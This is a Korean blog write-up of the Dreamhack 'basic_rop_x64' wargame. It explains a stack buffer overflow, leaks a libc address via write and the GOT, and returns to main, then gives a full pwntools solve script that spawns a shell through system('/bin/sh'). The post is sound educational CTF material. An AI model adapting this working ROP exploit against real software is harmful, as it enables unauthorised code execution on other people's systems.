공부중/시스템 해킹

[Dreamhack] Exploit Tech: ROP x64

silver surfer 2024. 9. 22.

이번 강의에서는 basic_rop_x64 워게임을 통한 실습을 진행한다. x64, 즉 64비트의 아키텍처를 가지는 환경에서 Return-oriented programming(ROP) 기법을 학습한다

 

문제 목표 및 기능 요약

이 문제의 목표는 버퍼 오버플로우가 일어나는 상황에서 ROP를 사용해 셸을 실행하는 것이다. 다음과 같은 개념을 숙지한 후 강의를 수강하자

  • Return to Libc
  • GOT Overwrite
  • Return-oriented Programming

이 문제는 Ubuntu 22.04 운영체제에서 실습한다.

 

** 분석 및 설계

분석

보호기법

checksec을 사용하여 적용된 보호기법을 파악한다.

실습환경에는 ASLR이 적용되어있고, 바이너리에는 NX가 적용되어 있다. Canary와 PIE는 적용되지 않았다.

ASLR이 적용되어 있기 때문에 실행 시마다 스택, 라이브러리 등의 주소가 랜덤화되고, NX가 적용되어 있기 때문에 임의의 위치에 셸코드를 집어넣은 후, 그 주소의 코드를 바로 실행시킬 수 없다.

Canary가 없기 때문에 스택 맨 위에 존재하는 SFP, RET과 그 뒷 주소를 마음대로 변경해도 프로세스가 자동 종료되지 않으며, PIE가 적용되지 않기 때문에 해당 바이너리가 실행되는 메모리 주소가 랜덤화되지 않는다.

 

코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

buf 변수의 크기는 0x40이지만 read() 함수에서 buf 변수에 0x400 크기의 입력을 받고 있다.그렇기 때문에 버퍼 오버플로우가 발생한다. 

이번 환경에서는 NX 보호 기법이 걸려있기 때문에 앞서 말했듯이 셸코드 사용이 어렵고, Return-oriented programming 기법을 이용해서 익스플로잇을 진행한다.

 

** 익스플로잇

익스플로잇

ROP를 사용하여 system("/bin/sh") 를 실행하는 것을 목표로 진행할 것이다. 해당 기능을 실행하기 위해서는 여러 가젯과 인자로 들어갈 값들을 찾아야한다.

 

Buffer Overflow

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

buf의 크기는 0x40 = 64바이트이지만 0x400 = 1024바이트를 입력받을 수 있어 버퍼오버플로우가 발생한다. buf가 할당된 64바이트 뒤에는 8바이트의 SFP와 8바이트의 RET이 위치한다.

그래서 'A'를 72바이트만큼 입력해서 buf, SFP를 더미 값으로 덮고, RET를 원하는 값으로 설정하면 바이너리의 실행 흐름을 조작할 수 있다.

pwndbg를 사용하여 확인해보자.

pwndbg> disassemble main
Dump of assembler code for function main:
   0x00000000004007ba <+0>:     push   rbp
   0x00000000004007bb <+1>:     mov    rbp,rsp
   0x00000000004007be <+4>:     sub    rsp,0x50
   0x00000000004007c2 <+8>:     mov    DWORD PTR [rbp-0x44],edi
   0x00000000004007c5 <+11>:    mov    QWORD PTR [rbp-0x50],rsi
   0x00000000004007c9 <+15>:    lea    rdx,[rbp-0x40]
   0x00000000004007cd <+19>:    mov    eax,0x0
   0x00000000004007d2 <+24>:    mov    ecx,0x8
   0x00000000004007d7 <+29>:    mov    rdi,rdx
   0x00000000004007da <+32>:    rep stos QWORD PTR es:[rdi],rax
   0x00000000004007dd <+35>:    mov    eax,0x0
   0x00000000004007e2 <+40>:    call   0x40075e <initialize>
   0x00000000004007e7 <+45>:    lea    rax,[rbp-0x40]
   0x00000000004007eb <+49>:    mov    edx,0x400
   0x00000000004007f0 <+54>:    mov    rsi,rax
   0x00000000004007f3 <+57>:    mov    edi,0x0
   0x00000000004007f8 <+62>:    call   0x4005f0 <read@plt>
   0x00000000004007fd <+67>:    lea    rax,[rbp-0x40]
   0x0000000000400801 <+71>:    mov    edx,0x40
   0x0000000000400806 <+76>:    mov    rsi,rax
   0x0000000000400809 <+79>:    mov    edi,0x1
   0x000000000040080e <+84>:    call   0x4005d0 <write@plt>
   0x0000000000400813 <+89>:    mov    eax,0x0
   0x0000000000400818 <+94>:    leave
   0x0000000000400819 <+95>:    ret
End of assembler dump.

 

read, write 함수에 인자로 들어가는 buf의 주소는 rbp-0x40임을 확인할 수 있다. 따라서 buf+0x40이 SFP이고, buf+0x48이 익스플로잇 시 값을 조작하여야 하는 RET의 부분이다. 실제로 확인해보자

 

b *main+62

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbb

b *main+62에다가 "a" * 72 + "b" * 8 을 주면 0x6262626262626262("bbbbbbbb")로 리턴하는 것을 확인할 수 있다.

 

system 함수 주소 계산

ASLR이 걸려있기 때문에, system 함수의 주소는 계속 변하게 되지만 ASLR로 인해 변경되는 주소는 라이브러리가 매핑된 Base 주소이고, 이에 따라 라이브러리 내부 함수들의 offset 값은 변경되지 않는다. 그래서 Base 주소를 구하면 Base 주소+ system 함수의 offset을 통해 system 함수의 주소를 구할 수 있다.

system 함수는 libc.so.6에 정의되어 있고, 해당 라이브러리에는 read, puts, printf도 정의되어 있다. 그래서 read 함수의 주소 - read 함수의 offset을 하면, Base 주소를 구할 수 있다.

read 함수가 실행된 이후 read 함수의 주소는 GOT에 등록되어 있기 때문에, read 함수의 GOT 값을 읽으면 read 함수의 주소를 구할 수 있다.

 

"/bin/sh" 문자열
system("/bin/sh")를 실행하기 위해서는 "/bin/sh" 문자열이 필요하다. "/bin/sh" 문자열의 주소를 grep 명령어로 찾아보자.

search -t string "/bin/sh"

libc.so.6 라이브러리에 존재한다. 하지만 이 영역은 ASLR의 영향을 받기 때문에, 위의 system 함수와 동일하게 Base 주소 + "/bin/sh" 문자열 offset 으로 주소를 구해야 한다.

"/bin/sh" 문자열의 offset은 아래 코드를 통해 구할 수 있다. pwntools의 ELF를 사용하여 libc를 불러온 후, libc에 search 메서드 함수를 사용한다.

from pwn import *

libc = ELF("./libc.so.6", checksec=False)
sh = list(libc.search(b"/bin/sh"))[0]

 

 

** 시나리오

라이브러리의 Base 주소를 모르기 때문에 바로 system("/bin/sh")를 실행하기는 어려움이 있다. 따라서 ret2main 기법을 사용한다. ret2main 기법은 원하는 정보를 얻은 후, 다시 main 함수로 돌아와 원하는 명령을 계속 이어나가는 기법이다.

먼저 write 함수를 이용해 라이브러리의 Base 주소 libc base를 구한 후, 그를 이용해 system 함수와 "/bin/sh" 주소를 계산한 후, 두 번째 main 함수 실행 시 system("/bin/sh")를 실행하여 문제를 해결할 수 있다.

libc base 구하기

  • wrtie(1, read@got, 8)
    • read@got 값을 출력하여 read 함수 주소 획득
  • libc base = read address - read offset
    • read 함수의 주소에서 offset을 빼서 libc base 구하기

system 함수 주소 구하기

  • system = libc base + system offset

"/bin/sh" 주소 구하기

  • "/bin/sh" = libc base + "/bin/sh" offset

ret2main

write(1, read@got, 8)의 코드 이후 main의 주소를 넣어서 RET를 조작하면 main 함수로 돌아올 수 있다.

 

셸 획득

위에서 system 함수의 주소와 "/bin/sh" 문자열의 주소를 구했기 때문에, pop rdi; ret 가젯을 이용하면 system("/bin/sh")를 호출하여 셸을 획득할 수 있다. 익스플로잇 시 사용하는 가젯은 pwntools의 ROP 클래스의 메서드 함수인 find_gadget을 사용하여 구할 수 있다. 진작에 알려주지

 

솔브 코드

최종 솔브 코드는 다음과 같다.

 

from pwn import *

def slog(symbol, addr):
    return success(symbol + ": " + hex(addr))

#context.log_level = 'debug'

p = remote('host3.dreamhack.games', 10263)
#p = process("./basic_rop_x64")
e = ELF("./basic_rop_x64")
#libc = e.libc
libc = ELF("./libc.so.6", checksec=False)
r = ROP(e)

read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
main = e.symbols["main"]

read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
sh = list(libc.search(b"/bin/sh"))[0]

pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]

# Stage 1
payload:bytes = b'A' * 0x48

# write(1, read@got, 8)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(8)
payload += p64(write_plt)

# return to main
payload += p64(main)

p.send(payload)

p.recvuntil(b'A' * 0x40)
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = sh + lb

slog("read", read)
slog("libc base", lb)
slog("system", system)
slog("/bin/sh", binsh)

# Stage 2
payload: bytes = b'A' * 0x48

# system("/bin/sh")
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)

p.send(payload)
p.recvuntil(b'A' * 0x40)

p.interactive()

 

실행 결과는 다음과 같다. ls 명령어를 사용하여 flag 파일을 확인할 수 있다. 

 

마치며

마치며

이번 강의에서는 버퍼 오버플로우와 관련된 핵심 공격 기법인 ROP를 배워보았습니다. 특히 ret2main이라는 새로운 공격 패턴을 사용해서 익스플로잇을 해보았는데, 이를 통해 RET 값을 변조하면 read, write, system 함수 호출 뿐만 아니라 main 함수로 돌아갈 수 도 있다는 것을 알 수 있었습니다. 그리고 ret2main 공격 패턴을 사용하면 GOT Overwrite를 하지 않고도 ROP를 할 수 있다는 것을 학습하였습니다. 🚩

키워드
  • Return Oriented Programming(ROP): 리턴 가젯을 이용하여 복잡한 실행 흐름을 구현하는 기법. 문제 상황에 맞춰 공격자가 유연하게 익스플로잇을 작성할 수 있다.
  • Return to main: main 함수로 돌아가서 다시 버퍼 오버플로우를 일으키는 공격 패턴. GOT Overwrite를 하지 않고도 ROP를 할 수 있다.

 

 

 

 

 

 

댓글